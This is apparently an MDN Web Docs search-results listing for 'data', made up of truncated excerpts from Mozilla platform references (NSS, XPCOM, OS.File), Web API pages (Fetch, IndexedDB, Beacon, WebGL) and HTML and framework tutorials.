JNI.jsm
the js-ctypes is abstracted away while all the underlying data is all ctype data.
... method overview cdata getforthread(); cdata loadclass(cdata ajenv, string aclassfullyqualifiedname, [optional] object adeclares); cdata newstring(cdata ajenv, string astr); string readstring(cdata ajenv, cdata ajavastring); void unloadclasses(); methods getforthread() blah blah cdata getforthread(); parameters this function does not take any arguments.
... return value blah blah loadclass() blah blah cdata loadclass( ajenv, afullyqualifiedname, [optional] object adeclares ); parameters ajenv the return value of getforthread().
...And 12 more matches
OS.File for the main thread
let sessionstore = os.path.join(os.constants.path.profiledir, "sessionstore.js"); // under linux, this is generally "$home/.firefox/profiles/$profilename/sessionstore.js" // under macos, this is generally "$home/library/application support/firefox/$profilename/sessionstore.js" // under windows, this is generally "%appdata%\local\temp\%profilename%"\sessionstore.js // etc.
... let writestream = function writestream(data, outfile, chunksize) { let view = new uint8array(data); let loop = function loop(pos) { // define a recursive asynchronous loop.
... } let promise = file.write(view.subarray(pos, chunksize)); // write a subset of |data| return promise.then(function onsuccess(bytes) { return loop(pos + bytes); // ...
...And 12 more matches
Utilities for nss samples
print data as hexadecimal.
...*/ typedef struct { enum { pw_none = 0, /* no password */ pw_fromfile = 1, /* password stored in a file */ pw_plaintext = 2 /* plain-text password passed in buffer */ /* pw_external = 3 */ } source; char *data; /* depending on source this can be the actual * password or the file to read it from */ } secupwdata; /* * printasascii */ extern void printasascii(prfiledesc* out, const unsigned char *data, unsigned int len); /* * printashex */ extern void printashex(prfiledesc* out, const unsigned char *data, unsigned int len); /* * getdigit */ extern int getdigit(char c); /* * hextob...
...uf */ extern int hextobuf(unsigned char *instring, secitem *outbuf, prbool ishexdata); /* * filetoitem */ extern secstatus filetoitem(secitem *dst, prfiledesc *src); /* * checkpassword */ extern prbool checkpassword(char *cp); /* * getpassword */ extern char * getpassword(file *input, file *output, char *prompt, prbool (*ok)(char *)); /* * filepasswd extracts the password from a text file * * storing passwords is often used with server environments * where prompting the user for a password or requiring it * to be entered in the commnd line is not a feasible option.
...And 12 more matches
NSS tools : crlutil
name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
...please contribute to the initial review in mozilla nss bug 836477[1] description the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation.
...And 12 more matches
NSS tools : crlutil
MozillaProjectsNSStoolscrlutil
name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... synopsis crlutil [options] arguments description the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation.
...And 12 more matches
nsDependentCSubstring
names: nsdependentsubstring for wide characters nsdependentcsubstring for narrow characters method overview constructors rebind beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt...
... replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsacstring_internal data members no public members.
...ngiterator<char>&) - source deprecated writing iterators parameters nswritingiterator<char>& iter char*& beginwriting(char*&) - source parameters char*& iter endwriting char* endwriting() - source nswritingiterator<char>& endwriting(nswritingiterator<char>&) - source parameters nswritingiterator<char>& iter char*& endwriting(char*&) - source parameters char*& iter data char* data() const - source accessors length pruint32 length() const - source isempty prbool isempty() const - source isvoid prbool isvoid() const - source isterminated prbool isterminated() const - source charat char charat(pruint32) const - source parameters pruint32 i operator[] char operator[](pruint32) const - source parameters pruint32 i ...
...And 12 more matches
nsDependentSubstring
names: nsdependentsubstring for wide characters nsdependentcsubstring for narrow characters method overview constructors rebind beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char operator= adopt...
... replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsastring_internal data members no public members.
...ort unsigned int>& iter prunichar*& beginwriting(prunichar*&) - source parameters prunichar*& iter endwriting prunichar* endwriting() - source nswritingiterator<short unsigned int>& endwriting(nswritingiterator<short unsigned int>&) - source parameters nswritingiterator<short unsigned int>& iter prunichar*& endwriting(prunichar*&) - source parameters prunichar*& iter data prunichar* data() const - source accessors length pruint32 length() const - source isempty prbool isempty() const - source isvoid prbool isvoid() const - source isterminated prbool isterminated() const - source charat prunichar charat(pruint32) const - source parameters pruint32 i operator[] prunichar operator[](pruint32) const - source parameters...
...And 12 more matches
nsITelemetry
toolkit/components/telemetry/nsitelemetry.idlscriptable a service to gather performance data that can be tracked over time to allow generating histograms.
...: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/base/telemetry;1 as a service: let telemetry = components.classes["@mozilla.org/base/telemetry;1"] .getservice(components.interfaces.nsitelemetry); method overview jsval gethistogrambyid(in acstring id); jsval snapshothistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); jsval getkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsval snapshotcapturedstacks([optional] in boolean clear); nsisupports getloadedmodules(); jsval snapshotkeyedhistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); void sethistogramrecordinge...
...nabled(in acstring id, in boolean enabled); void asyncfetchtelemetrydata(in nsifetchtelemetrydatacallback acallback); double mssinceprocessstart(); void scalaradd(in acstring aname, in jsval avalue); void scalarset(in acstring aname, in jsval avalue); void scalarsetmaximum(in acstring aname, in jsval avalue); jsval snapshotscalars(in uint32_t adataset, [optional] in boolean aclear); void keyedscalaradd(in acstring aname, in astring akey, in jsval avalue); void keyedscalarset(in acstring aname, in astring akey, in jsval avalue); void keyedscalarsetmaximum(in acstring aname, in astring akey, in jsval avalue); jsval snapshotkeyedscalars(in uint32_t adataset, [optional] in boolean aclear); void cle...
...And 12 more matches
Mozilla
adding phishing protection data providers phishing protection technology lets firefox help protect users by comparing the urls the user visits to a list of known scam sites, and presenting a warning to the user when they visit a site on the list.
... bugzilla bugzilla.mozilla.org (often abbreviated b.m.o) is mozilla.org's bug-tracking system, a database for recording bugs and enhancement requests for firefox, thunderbird, seamonkey, camino, and other mozilla.org projects.
...this can be useful if you want to integrate a gecko application's password management with an existing password management system, or use your own password storage format or database.
...And 12 more matches
Beacon API - Web APIs
example use cases of the beacon api are logging activity and sending analytics data to the server.
... the beacon interface addresses the needs of analytics and diagnostics code that typically attempts to send data to a web server before unloading the document.
... sending the data any sooner may result in a missed opportunity to gather data.
...And 12 more matches
IDBFactory.open() - Web APIs
WebAPIIDBFactoryopen
the open() method of the idbfactory interface requests opening a connection to a database.
...if the operation is successful, a success event is fired on the request object that is returned from this method, with its result attribute set to the new idbdatabase object for the connection.
... if an error occurs while the database connection is being opened, then an error event is fired on the request object returned from this method.
...And 12 more matches
Checking when a deadline is due - Web APIs
on mobile platforms you tend to get a numeric keypad for entering data, which is helpful.
... when the form's submit button is pressed, we run the adddata() function, which starts like this: function adddata(e) { e.preventdefault(); if(title.value == '' || hours.value == null || minutes.value == null || day.value == '' || month.value == '' || year.value == null) { note.innerhtml += '<li>data not submitted — form incomplete.</li>'; return; } in this segment, we check to see if the form fields have all been filled in.
...quired attribute in my html to force validation, in those that do.) else { var newitem = [ { tasktitle: title.value, hours : hours.value, minutes : minutes.value, day : day.value, month : month.value, year : year.value, notified : "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction opened for task addition.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
...And 12 more matches
WebGL constants - Web APIs
coverage_invert 0x80ab compressed_texture_formats 0x86a3 vendor 0x1f00 renderer 0x1f01 version 0x1f02 implementation_color_read_type 0x8b9a implementation_color_read_format 0x8b9b browser_default_webgl 0x9244 buffers constants passed to webglrenderingcontext.bufferdata(), webglrenderingcontext.buffersubdata(), webglrenderingcontext.bindbuffer(), or webglrenderingcontext.getbufferparameter().
... constant name value description static_draw 0x88e4 passed to bufferdata as a hint about whether the contents of the buffer are likely to be used often and not change often.
... stream_draw 0x88e0 passed to bufferdata as a hint about whether the contents of the buffer are likely to not be used often.
...And 12 more matches
Video player styling basics - Developer guides
the markup for the custom controls now looks as follows: <div id="video-controls" class="controls" data-state="hidden"> <button id="playpause" type="button" data-state="play">play/pause</button> <button id="stop" type="button" data-state="stop">stop</button> <div class="progress"> <progress id="progress" value="0" min="0"> <span id="progress-bar"></span> </progress> </div> <button id="mute" type="button" data-state="mute">mute/unmute</button> <button id="volin...
...c" type="button" data-state="volup">vol+</button> <button id="voldec" type="button" data-state="voldown">vol-</button> <button id="fs" type="button" data-state="go-fullscreen">fullscreen</button> </div> related css alteration the previous article simply set the display property of the video controls to block in order to display them.
... this has now been changed to use a data-state attribute, which this code already uses to handle its fullscreen implementation.
...And 12 more matches
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, url inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid pattern a regular expression the input's contents must match in order to be valid placeholder an exemplar value to d...
... a boolean attribute indicating whether or not the contents of the input should be read-only size a number indicating how many characters wide the input field should be spellcheck controls whether or not to enable spell checking for the input field, or if the default spell checking configuration should be used list the values of the list attribute is the id of a <datalist> element located in the same document.
... the <datalist> provides a list of predefined values to suggest to the user for this input.
...And 12 more matches
itemprop - HTML: Hypertext Markup Language
examples the example below shows the source for a set of elements marked up with itemprop attributes, followed by a table showing the resulting structured data.
... html <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">trailer</a> </div> structured data item itemprop name itemprop value itemprop name avatar itemprop director james cameron itemprop genre science fiction itemprop trailer ../movies/avatar-theatrical-trailer.html properties properties have values that are either a string or a url.
...nd">four parts water</span>.</p> <p>i am <span itemprop="nationality">british</span>.</p> </div> one property, "image", whose value is a url <div itemscope> <img itemprop="image" src="google-logo.png" alt="google"> </div> when a string value can't be easily read and understood by a person (e.g., a long string of numbers and letters), it can be displayed using the value attribute of the data element, with the more easily-understood-by-a human-version given in the element's contents (which is not part of the structured data - see example below).
...And 12 more matches
Content Scripts - Archive of obsolete content
access web content directly content scripts can't use the sdk's apis (no access to globals exports, require) but can access web content sdk apis that use content scripts, like page-mod and tabs, provide functions that enable the add-on's main code to load content scripts into web pages content scripts can be loaded in as strings, but are more often stored as separate files under the add-on's "data" directory.
... jpm doesn't make a "data" directory by default, so you must add it and put your content scripts in there.
...ing itself as a script: // main.js var pagemod = require("sdk/page-mod"); var contentscriptvalue = 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";'; pagemod.pagemod({ include: "*.mozilla.org", contentscript: contentscriptvalue }); the contentscriptfile option treats the string as a resource:// url pointing to a script file stored in your add-on's data directory.
...And 11 more matches
clipboard - Archive of obsolete content
usage you can optionally specify the type of the data to set and retrieve.
... the following types are supported: text (plain text) html (a string of html) image (a base-64 encoded png) if no data type is provided, then the module will detect it for you.
... var clipboard = require("sdk/clipboard"); if (clipboard.currentflavors.indexof("html") != -1) require("sdk/tabs").open("data:text/html;charset=utf-8," + clipboard.get("html")); set the clipboard contents to an image.
...And 11 more matches
Space Manager Detailed Design - Archive of obsolete content
the band data * indicates which parts of the band are available, and which parts * are unavailable * * the band data that is returned is in the coordinate space of the * local coordinate system.
...the coordinate is * relative to the upper-left corner of the local coordinate space * @param amaxsize the size to use to constrain the band data * @param abanddata [in,out] used to return the list of trapezoids that * describe the available space and the unavailable space * @return ns_ok if successful and ns_error_failure if the band data is not * not large enough.
... the 'count' member of the band data struct * indicates how large the array of trapezoids needs to be */ nsresult getbanddata(nscoord ayoffset, const nssize& amaxsize, nsbanddata& abanddata) const; /** * add a rectangular region of unavailable space.
...And 11 more matches
Elements - Archive of obsolete content
999/xhtml" xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg = "http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> binding <!entity % binding-content "(resources?,content?,implementation?,handlers?)"> <!element binding %binding-content;> <!attlist binding id id #required extends cdata #implied display cdata #implied inheritstyle true #implied > the binding element describes a single xbl binding.
... css: div { -moz-binding: url(mybinding.xml#default); } dom: elementreference.style.mozbinding = "url(mybinding.xml#default)"; in both cases above we are using binding with id="default" contained in file mybinding.xml starting with firefox 3, you can also use a data: url to embed the binding inline: div { -moz-binding: url(data:text/xml;charset=utf-8,%3c%3fxml%20version%3d%221.0%22%3f%3e%0a%3cbindings%20id%3d%22xbltestbindings%22%20xmlns%3d%22http%3a//www.mozilla.org/xbl%22%3e%0a%20%20%3cbinding%20id%3d%22xbltest%22%3e%3ccontent%3epass%3c/content%3e%3c/binding%3e%0a%3c/bindings%3e%0a); } since data: urls don't support fragment identifiers, the first bin...
...in addition, data: urls are only supported from chrome code (in other words, from the application or an extension).
...And 11 more matches
Basic native form controls - Learn web development
next we will look at the functionality of the different form controls, or widgets, in detail — studying all the different options available to collect different types of data.
... objective: to understand in detail the original set of native form widgets available in browsers for collecting data, and how to implement them using html.
...they are a very convenient way to let the user enter any kind of data, and we've already seen a few simple examples.
...And 11 more matches
Other form controls - Learn web development
pressing return) that will be included when the data is submitted.
... autocomplete box you can provide suggested, automatically-completed values for form widgets using the <datalist> element with child <option> elements to specify the values to display.
... the <datalist> needs to be given an id.
...And 11 more matches
Ember interactivity: Events, classes and state - Learn web development
along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app.
... storing todos with a service ember has built-in application-level state management that we can use to manage the storage of our todos and allow each of our components to access data from that application-level state.
... ember calls these constructs services, and they live for the entire lifetime of the page (a page refresh will clear them; persisting the data for longer is beyond the scope of this tutorial).
...And 11 more matches
Rendering a list of Vue components - Learn web development
in this artcle we'll look at adding a set of todo item data to our app.vue component, which we'll then loop through and display inside todoitem components using the v-for directive.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
... objective: to learn how to loop through an array of data and render it in multiple components.
...And 11 more matches
Displaying Places information using views
an nsinavhistoryresult instance provides the data for a view.
... connecting a view to its data to hook up a built-in view to its data, use the view's special place attribute.
...its value is the uri of a query, and the data shown in the view are the results of this query.
...And 11 more matches
nsIOutputStream
xpcom/io/nsioutputstream.idlscriptable an interface describing a writable stream of data.
...forces the output stream to flush() any buffered data.
... flush() this method may be called to instruct the output stream to write out the contents of any internal buffers to a low-level data sink, such as a file on disk.
...And 11 more matches
ctypes
the ctypes object contains methods and predefined data types used to create and manage a library.
... method overview ctype arraytype(type[, length]); cdata cast(data, type); ctype functiontype(abi, returntype[, argtype1, ...]); cdata int64(n); string libraryname(name); library open(libspec); ctype pointertype(typespec); ctype structtype(name[, fields]); cdata uint64(n); properties property type description errno number the value of the latest system error.
... predefined data types primitive types these types behave the same on all platforms.
...And 11 more matches
IDBIndexSync - Web APIs
the idbindexsync interface of the indexeddb api provides synchronous access to an index in a database.
... method overview any add (in any value, in optional any key) raises (idbdatabaseexception); any get (in any key) raises (idbdatabaseexception); any getobject (in any key) raises (idbdatabaseexception); void opencursor (in optional idbkeyrange range, in optional unsigned short direction) raises (idbdatabaseexception); void openobjectcursor (in optional idbkeyrange range, in optional unsigned short direction) raises (idbdatabaseexception); any put (in any value, in optional any key) raises (idbdatabaseexception); void remove (in any key) raises (idbdatabaseexception); attributes attribute type description keypath readonly domstring the key path of this index.
... any add( in any value, in optional any key ) raises (idbdatabaseexception); parameters returns exceptions this method can raise a idbdatabaseexception with the following code: value the value to store into the index.
...And 11 more matches
IDBObjectStore.createIndex() - Web APIs
the createindex() method of the idbobjectstore interface creates and returns a new idbindex object in the connected database.
... it creates a new field/column defining a new data point for each database record to contain.
... bear in mind that indexeddb indexes can contain any javascript data type; indexeddb uses the structured clone algorithm to serialize stored objects, which allows for storage of simple and complex objects.
...And 11 more matches
Using readable streams - Web APIs
as a javascript developer, programmatically reading and manipulating streams of data received over the network, chunk by chunk, is very useful!
... also note that the previous example can be reduced by one step, as response.body is synchronous and so doesn't need the promise: // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => { const reader = response.body.getreader(); reading the stream now you’ve got your reader attached, you can read data chunks out of the stream using the readablestreamdefaultreader.read() method.
... return new readablestream({ start(controller) { return pump(); function pump() { return reader.read().then(({ done, value }) => { // when no more data needs to be consumed, close the stream if (done) { controller.close(); return; } // enqueue the next data chunk into our target stream controller.enqueue(value); return pump(); }); } } }) }) .then(stream => new response(stream)) .then(response => response.blob()) .then(blob => url.createobjecturl(blo...
...And 11 more matches
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
something along the lines of "submit" or "submit query." here's an example of a submit button with a default label in your browser: <input type="submit"> additional attributes in addition to the attributes shared by all <input> elements, submit button inputs support the following attributes: attribute description formaction the url to which to submit the form's data; overrides the form's action attribute, if any formenctype a string specifying the encoding type to use for the form data formmethod the http method (get or post) to use when submitting the form.
... formnovalidate a boolean which, if present, means the form's fields will not be subjected to constraint validation before submitting the data to the server formtarget the browsing context into which to load the response returned by the server after submitting the form formaction a string indicating the url to which to submit the data.
... formenctype a string that identifies the encoding method to use when submitting the form data to the server.
...And 11 more matches
<input type="tel"> - HTML: Hypertext Markup Language
WebHTMLElementinputtel
additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, telephone number inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum length, in utf-16 characters, to accept as a valid input minlength the minimum length that is considered valid for the field's contents pattern a regular expression the entered value must match to pass constraint validation placeholder an example value to ...
...display inside the field when it has no value readonly a boolean attribute which, if present, indicates that the field's contents should not be user-editable size the number of characters wide the input field should be onscreen list the values of the list attribute is the id of a <datalist> element located in the same document.
... the <datalist> provides a list of predefined values to suggest to the user for this input.
...And 11 more matches
page-mod - Archive of obsolete content
var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); you can supply the content script(s) in one of two ways: as a string literal, or an array of string literals, assigned to the contentscript option, as above as separate files supplied in your add-on's "data" directory.
... if you supply the scripts as separate files in the "data" directory, you specify them using with a url, typically constructed using the url() method of the self module's data object: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: data.url("my-script.js") }); var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: [data.url("jquery-1.7.min.js"), data.url("my-script.js")] }); from firefox 34, you can use "./my-script.js" as an alias for self.data.url("my-script.js").
... /lib/main.js: var tag = "p"; var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: data.url("element-getter.js"), onattach: function(worker) { worker.port.emit("getelements", tag); worker.port.on("gotelement", function(elementcontent) { console.log(elementcontent); }); } }); /data/element-getter.js: self.port.on("geteleme...
...And 10 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
we use a data: url for simplicity.
... pref("browser.search.defaultenginename", "data:text/plain,browser.search.defaultenginename=example engine"); in the case or restartless extensions, the preferences need to be changed manually, and reverted when the extension is disabled if they have not been changed in the meantime.
...function setpref(name, value, localized) { // if this is a localized preference, transform the value into an // appropriate data: url.
...And 10 more matches
Introducing the Audio API extension - Archive of obsolete content
the audio data api extension extends the html5 specification of the <audio> and <video> media elements by exposing audio metadata and raw audio data.
... this enables users to visualize audio data, to process this audio data and to create new audio data.
... reading audio streams the loadedmetadata event when the metadata of the media element is available, it triggers a loadedmetadata event.
...And 10 more matches
Reading from Files - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
... reading data from a file involves getting a reference to a file and then creating an input stream to read from it.
...you can use the available method to check if data is available for reading: var file = io.getfile("home", "sample.txt"); var stream = io.newinputstream(file, "text"); var str = stream.readstring(stream.available()); stream.close(); in this example, the available method is called to determine the number of available bytes for reading.
...And 10 more matches
How to implement a custom XUL query processor component - Archive of obsolete content
xul supports templating to create a block of content from a datasource query.
...the component will hold a small array of javascript objects as its datasource.
... in practice, you would use your own custom source of data.
...And 10 more matches
Filtering - Archive of obsolete content
the template will be parsed again and the data examined for new results.
...in this example, the menulist is hard-coded to contain the items that we know are in the datasource.
...in the previous example, we hard-coded a menulist with the list of countries, but we could also generate this list from the datasource.
...And 10 more matches
application/http-index-format specification - Archive of obsolete content
syntax every line in the file must conform to the following generic syntax: number: data where number is at least a three digit number (note that more digits are possible in the future) and data is separated from number by a colon and a space.
... the syntax of data is defined by the syntax spec for every number type.
...machine parsers should ignore this data.
...And 10 more matches
Componentizing our Svelte app - Learn web development
that's because the filter variable flows down from the todos component to the filterbutton component through the prop, but changes occurring in the filterbutton component don't flow back up to its parent — the data binding is one-way by default.
... sharing data between components: passing a handler as a prop one way to let child components notify their parents of any changes is to pass a handler as a prop.
... easier two-way data binding with the bind directive in the previous example we realized that our filterbutton component wasn't working because our application state was flowing down from parent to child through the filter prop — but it wasn't going back up.
...And 10 more matches
Creating Sandboxed HTTP Connections
channel.asyncopen(listener, null); http notifications the above mentioned listener is a nsistreamlistener, which gets notified about events such as http redirects and data availability.
... ondataavailable - new data is available.
... since this is a stream, it could be called multiple times (depending on the size of the returned data, networking conditions, etc).
...And 10 more matches
Web Replay
inter-thread non-determinism is handled by first assuming the program is data race free: shared memory accesses which would otherwise race are either protected by locks or use apis that perform atomic operations.
... when a call or message is intercepted, the wrapped call/message is first performed normally and then it and its outputs are recorded in a data stream for the thread performing the call.
... acquisition order of locks is recorded in a data stream for each lock.
...And 10 more matches
Mozilla internal string guide
most of the mozilla code uses a c++ class hierarchy to pass string data, rather than using raw pointers.
... in order to avoid unnecessary copying of string data (which can have significant performance cost), the string classes support different ownership models.
...if a string is defined as a const nsastring then the data in the string cannot be manipulated.
...And 10 more matches
nsIClipboard
widget/nsiclipboard.idlscriptable this interface supports basic clipboard operations such as: setting, retrieving, emptying, matching and supporting clipboard data.
... inherits from: nsisupports last changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) method overview void emptyclipboard(in long awhichclipboard); void forcedatatoclipboard(in long awhichclipboard); obsolete since gecko 1.8 void getdata(in nsitransferable atransferable, in long awhichclipboard); boolean hasdatamatchingflavors([array, size_is(alength)] in string aflavorlist, in unsigned long alength, in long awhichclipboard); void setdata(in nsitransferable atransferable, in nsiclipboardowner anowner, in long awhichclipboard); boolean supportsselectionclipboard(); boolean supportsfindclipboard(); constants most clipboard operations in firefox use kglobalclipboard, which is the one also used by the ...
... forcedatatoclipboard() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) some platforms support deferred notification for putting data on the clipboard this method forces the data onto the clipboard in its various formats this may be used if the application going away.
...And 10 more matches
nsIFile
filesize print64 the value of this attribute is the number of bytes corresponding to the data represented by the file.
... on the mac, getting/setting the file size with nsifile only deals with the size of the data fork.
... if you need to know the size of the combined data and resource forks use nsilocalfilemac.getfilesizewithresfork().
...And 10 more matches
nsIHttpActivityObserver
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void observeactivity(in nsisupports ahttpchannel, in pruint32 aactivitytype, in pruint32 aactivitysubtype, in prtime atimestamp, in pruint64 aextrasizedata, in acstring aextrastringdata); attributes attribute type description isactive boolean true when the interface is active and should observe http activity, otherwise false.
...observers can look at request headers in aextrastringdata activity_subtype_request_body_sent 0x5002 the http request's body has been sent.
...void observeactivity( in nsisupports ahttpchannel, in pruint32 aactivitytype, in pruint32 aactivitysubtype, in prtime atimestamp, in pruint64 aextrasizedata, in acstring aextrastringdata ); parameters ahttpchannel the nsihttpchannel on which the activity occurred.
...And 10 more matches
nsIPluginHost
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsifile createtempfiletopost(in string apostdataurl); native code only!
... void createtmpfiletopost(in string apostdataurl, out string atmpfilename); native code only!
... void parsepostbuffertofixheaders(in string ainpostdata, in unsigned long ainpostdatalen, out string aoutpostdata, out unsigned long aoutpostdatalen); native code only!
...And 10 more matches
nsIScriptableIO
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
... nsiscriptableio provides a convenient api for creating files and streams, as well as for reading and writing data to them.
... newinputstream() retrieves a stream from which data can be read.
...And 10 more matches
XPCOM string functions
ns_cstringappenddatathe ns_cstringappenddata function appends data to the existing value of a nsacstring instance.
... this is a low-level api.ns_cstringclonedatathe ns_cstringclonedata function returns a null-terminated, heap allocated copy of the string's internal buffer.ns_cstringcontainerfinishthe ns_cstringcontainerfinish function releases any memory allocated by a nscstringcontainer instance.ns_cstringcontainerinitthe ns_cstringcontainerinit function initializes a nscstringcontainer instance for use as a nsacstring.ns_cstringcontainerinit2the ns_cstringcontainerinit2 function initializes a nscstringcontainer instance for use as a nsacstring.ns_cstringcopythe ns_cstringcopy function copies the value from one nsacstring instance to another.
... this is a low-level api.ns_cstringcutdatathe ns_cstringcutdata function removes a section of the string's internal buffer.
...And 10 more matches
StructType
syntax returns a ctype object describing a new structure data type.
... this data type provides the ability to define and manipulate values of the c struct type.
... return value a ctype object describing the newly created struct data type.
...And 10 more matches
Blob - Web APIs
WebAPIBlob
the blob object represents a blob, which is a file-like object of immutable, raw data; they can be read as text or binary data, or converted into a readablestream so its methods can be used for processing the data.
... blobs can represent data that isn't necessarily in a javascript-native format.
... using blobs to construct a blob from other non-blob objects and data, use the blob() constructor.
...And 10 more matches
Using Fetch - Web APIs
have a look at the following code: fetch('http://example.com/movies.json') .then(response => response.json()) .then(data => console.log(data)); here we are fetching a json file across the network and printing it to the console.
... // example post method implementation: async function postdata(url = '', data = {}) { // default options are marked with * const response = await fetch(url, { method: 'post', // *get, post, put, delete, etc.
...-origin, omit headers: { 'content-type': 'application/json' // 'content-type': 'application/x-www-form-urlencoded', }, redirect: 'follow', // manual, *follow, error referrerpolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-url body: json.stringify(data) // body data type must match "content-type" header }); return response.json(); // parses json response into native javascript objects } postdata('https://example.com/answer', { answer: 42 }) .then(data => { console.log(data); // json data parsed by `data.json()` call }); note that mode: "no-cors" only allows a limited set of headers in the request: accept accept-language cont...
...And 10 more matches
IDBFactory - Web APIs
the idbfactory interface of the indexeddb api lets applications asynchronously access the indexed databases.
...you open — that is, create and access — and delete a database with this object, and not directly with idbfactory.
... methods idbfactory.open the current method to request opening a connection to a database.
...And 10 more matches
Navigator.sendBeacon() - Web APIs
the navigator.sendbeacon() method asynchronously sends a small amount of data over http to a web server.
... syntax navigator.sendbeacon(url, data); parameters url the url that will receive the data.
... data a arraybuffer, arraybufferview, blob, domstring, formdata, or urlsearchparams object containing the data to send.
...And 10 more matches
RTCPeerConnection - Web APIs
if this hasn't been set yet, this is null.sctp the read-only sctp property on the rtcpeerconnection interface returns an rtcsctptransport describing the sctp transport over which sctp data is being sent and received.
...this happens whenever the aggregate state of the connection changes.ondatachannel the rtcpeerconnection.ondatachannel property is an eventhandler which specifies a function which is called when the datachannel event occurs on an rtcpeerconnection.
... this event, of type rtcdatachannelevent, is sent when an rtcdatachannel is added to the connection by the remote peer calling createdatachannel().onicecandidatethe rtcpeerconnection property onicecandidate property is an eventhandler which specifies a function to be called when the icecandidate event occurs on an rtcpeerconnection instance.
...And 10 more matches
WebGLRenderingContext.vertexAttribPointer() - Web APIs
type a glenum specifying the data type of each component in the array.
...2768, 32767] gl.unsigned_byte: unsigned 8-bit integer, with values in [0, 255] gl.unsigned_short: unsigned 16-bit integer, with values in [0, 65535] gl.float: 32-bit ieee floating point number when using a webgl 2 context, the following values are available additionally: gl.half_float: 16-bit ieee floating point number normalized a glboolean specifying whether integer data values should be normalized into a certain range when being cast to a float.
... a gl.invalid_operation error is thrown if stride and offset are not multiples of the size of the data type.
...And 10 more matches
Example and tutorial: Simple synth keyboard - Web APIs
we will be programmatically constructing the keyboard, because doing so gives us the flexibility to configure each key as we determine the appropriate data for the corresponding note.
... <div class="settingsbar"> <div class="left"> <span>volume: </span> <input type="range" min="0.0" max="1.0" step="0.01" value="0.5" list="volumes" name="volume"> <datalist id="volumes"> <option value="0.0" label="mute"> <option value="1.0" label="100%"> </datalist> </div> we specify a default value of 0.5, and we provide a <datalist> element which is connected to the range using the name attribute to find an option list whose id matches; in this case, the data set is named "volume".
